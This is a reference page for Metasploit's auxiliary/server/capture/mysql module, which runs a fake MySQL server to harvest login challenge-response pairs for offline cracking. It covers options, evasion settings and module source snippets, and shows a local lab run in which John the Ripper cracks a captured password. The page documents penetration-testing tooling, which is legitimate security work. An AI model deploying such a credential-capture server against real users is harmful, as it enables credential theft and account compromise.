Authentication Capture: MySQL - Metasploit


This page contains detailed information about how to use the auxiliary/server/capture/mysql metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
hide

Module Overview

Name: Authentication Capture: MySQL
Module: auxiliary/server/capture/mysql
Source code: modules/auxiliary/server/capture/mysql.rb
Disclosure date: -
Last modification time: 2020-05-12 22:15:21 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module provides a fake MySQL service that is designed to capture authentication credentials. It captures challenge and response pairs that can be supplied to Cain or JtR for cracking.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/server/capture/mysql
msf auxiliary(mysql) > show targets
    ... a list of targets ...
msf auxiliary(mysql) > set TARGET target-id
msf auxiliary(mysql) > show options
    ... show and set options ...
msf auxiliary(mysql) > exploit

Knowledge Base

This module creates a mock MySQL server which accepts credentials. Upon receiving a login attempt, an ERROR 1045 (2800): Access denied error is thrown.

Verification Steps

  1. Start msfconsole
  2. Do: use auxiliary/server/capture/mysql
  3. Do: run

Options

CHALLENGE

The MySQL 16 byte challenge used in the authentication. Default is 112233445566778899AABBCCDDEEFF1122334455.

JOHNPWFILE

Write a file containing a John the Ripper format for cracking the credentials. Default is ``.

CAINPWFILE

Write a file containing a Cain & Abel format for cracking the credentials. Default is ``.

SRVVERSION

The MySQL version to print in the login banner. Default is 5.5.16.

SSL

Boolean if SSL should be used. Default is False.

SSLCert

File path to a combined Private Key and Certificate file. If not provided, a certificate will be automatically generated. Default is ``.

Scenarios

MySQL with MySQL Client and JTR Cracking

Server:

msf5 > use auxiliary/server/capture/mysql 
msf5 auxiliary(server/capture/mysql) > set johnpwfile /tmp/mysql.logins
johnpwfile => /tmp/mysql.logins
msf5 auxiliary(server/capture/mysql) > run
[*] Auxiliary module running as background job 0.
msf5 auxiliary(server/capture/mysql) > 
[*] Started service listener on 0.0.0.0:3306 
[*] Server started.
[+] 127.0.0.1:59604 - User: admin; Challenge: 112233445566778899aabbccddeeff1122334455; Response: 46677c2d9cac93da328c4321060c125db759925e

Client:

root@kali:~# mysql -u admin -ppassword1 -h 127.0.0.1
ERROR 1045 (28000): Access denied for user 'admin'@'127.0.0.1' (using password: YES)

JTR:

root@kali:~# john /tmp/mysql.logins_mysqlna 
Using default input encoding: UTF-8
Loaded 1 password hashes with no different salts (mysqlna, MySQL Network Authentication [SHA1 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
password1        (admin)
1g 0:00:00:00 DONE 2/3 (2018-11-08 21:05) 20.00g/s 16800p/s 16800c/s 16800C/s password1
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Go back to menu.

Msfconsole Usage

Here is how the server/capture/mysql auxiliary module looks in the msfconsole:

msf6 > use auxiliary/server/capture/mysql

msf6 auxiliary(server/capture/mysql) > show info

       Name: Authentication Capture: MySQL
     Module: auxiliary/server/capture/mysql
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Patrik Karlsson <[email protected]>

Available actions:
  Name     Description
  ----     -----------
  Capture  Run MySQL capture server

Check supported:
  No

Basic options:
  Name        Current Setting                           Required  Description
  ----        ---------------                           --------  -----------
  CAINPWFILE                                            no        The local filename to store the hashes in Cain&Abel format
  CHALLENGE   112233445566778899AABBCCDDEEFF1122334455  yes       The 16 byte challenge
  JOHNPWFILE                                            no        The prefix to the local filename to store the hashes in JOHN format
  SRVHOST     0.0.0.0                                   yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT     3306                                      yes       The local port to listen on.
  SRVVERSION  5.5.16                                    yes       The server version to report in the greeting response
  SSL         false                                     no        Negotiate SSL for incoming connections
  SSLCert                                               no        Path to a custom SSL certificate (default is randomly generated)

Description:
  This module provides a fake MySQL service that is designed to 
  capture authentication credentials. It captures challenge and 
  response pairs that can be supplied to Cain or JtR for cracking.

Module Options

This is a complete list of options available in the server/capture/mysql auxiliary module:

msf6 auxiliary(server/capture/mysql) > show options

Module options (auxiliary/server/capture/mysql):

   Name        Current Setting                           Required  Description
   ----        ---------------                           --------  -----------
   CAINPWFILE                                            no        The local filename to store the hashes in Cain&Abel format
   CHALLENGE   112233445566778899AABBCCDDEEFF1122334455  yes       The 16 byte challenge
   JOHNPWFILE                                            no        The prefix to the local filename to store the hashes in JOHN format
   SRVHOST     0.0.0.0                                   yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT     3306                                      yes       The local port to listen on.
   SRVVERSION  5.5.16                                    yes       The server version to report in the greeting response
   SSL         false                                     no        Negotiate SSL for incoming connections
   SSLCert                                               no        Path to a custom SSL certificate (default is randomly generated)

Auxiliary action:

   Name     Description
   ----     -----------
   Capture  Run MySQL capture server

Advanced Options

Here is a complete list of advanced options supported by the server/capture/mysql auxiliary module:

msf6 auxiliary(server/capture/mysql) > show advanced

Module advanced options (auxiliary/server/capture/mysql):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   ListenerComm                     no        The specific communication channel to use for this service
   SSLCipher                        no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression  false            no        Enable SSL/TLS-level compression
   VERBOSE         false            no        Enable detailed status messages
   WORKSPACE                        no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the server/capture/mysql module can do:

msf6 auxiliary(server/capture/mysql) > show actions

Auxiliary actions:

   Name     Description
   ----     -----------
   Capture  Run MySQL capture server

Evasion Options

Here is the full list of possible evasion options supported by the server/capture/mysql auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(server/capture/mysql) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

CHALLENGE syntax must match 112233445566778899AABBCCDDEEFF1122334455

Here is a relevant code snippet related to the "CHALLENGE syntax must match 112233445566778899AABBCCDDEEFF1122334455" error message:

39:	
40:	  def run
41:	    if datastore['CHALLENGE'].to_s =~ /^([a-fA-F1-9]{40})$/
42:	      @challenge = [ datastore['CHALLENGE'] ].pack("H*")
43:	    else
44:	      print_error("CHALLENGE syntax must match 112233445566778899AABBCCDDEEFF1122334455")
45:	      return
46:	    end
47:	    @version = datastore['SRVVERSION']
48:	    exploit()
49:	  end

Unsupported protocol detected

Here is a relevant code snippet related to the "Unsupported protocol detected" error message:

83:	  def mysql_process_login(data, info)
84:	    length = ( data.slice(0,4).unpack("V")[0] & 0x00FFFFFF )
85:	    packetno = ( data.slice!(0,4).unpack("V")[0] & 0xFF000000 ) >> 24
86:	    flags = data.slice!(0,2).unpack("v")[0]
87:	    if ( flags & 0x8000 ) != 0x8000
88:	      info[:errors] << "Unsupported protocol detected"
89:	      return info
90:	    end
91:	
92:	    # we're dealing with the 4.1+ protocol
93:	    extflags = data.slice!(0,2).unpack("v")[0]

Access denied for user '<INFO:USERNAME>'@'<C.PEERHOST>' (using password: YES)

Here is a relevant code snippet related to the "Access denied for user '<INFO:USERNAME>'@'<C.PEERHOST>' (using password: YES)" error message:

157:	
158:	    mysql_process_login(data, info)
159:	    if info[:errors] and not info[:errors].empty?
160:	      print_error("#{@state[c][:name]} #{info[:errors].join("\n")}")
161:	    elsif info[:username] and info[:response]
162:	      mysql_send_error(c, "Access denied for user '#{info[:username]}'@'#{c.peerhost}' (using password: YES)")
163:	      if info[:database]
164:	        print_good("#{@state[c][:name]} - User: #{info[:username]}; Challenge: #{@challenge.unpack('H*')[0]}; Response: #{info[:response].unpack('H*')[0]}; Database: #{info[:database]}")
165:	      else
166:	        print_good("#{@state[c][:name]} - User: #{info[:username]}; Challenge: #{@challenge.unpack('H*')[0]}; Response: #{info[:response].unpack('H*')[0]}")
167:	      end

Access denied for user '<INFO:USERNAME>'@'<C.PEERHOST>' (using password: NO)

Here is a relevant code snippet related to the "Access denied for user '<INFO:USERNAME>'@'<C.PEERHOST>' (using password: NO)" error message:

195:	        fd = ::File.open(datastore['JOHNPWFILE'] + '_mysqlna' , "ab")
196:	        fd.puts john_hash_line
197:	        fd.close
198:	      end
199:	    else
200:	      mysql_send_error(c, "Access denied for user '#{info[:username]}'@'#{c.peerhost}' (using password: NO)")
201:	    end
202:	    c.close
203:	  end
204:	
205:	  def on_client_close(c)

Go back to menu.

Go back to menu.

See Also

Check also the following modules related to this module:

Authors

Patrik Karlsson <patrik[at]cqure.net>

Version

This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.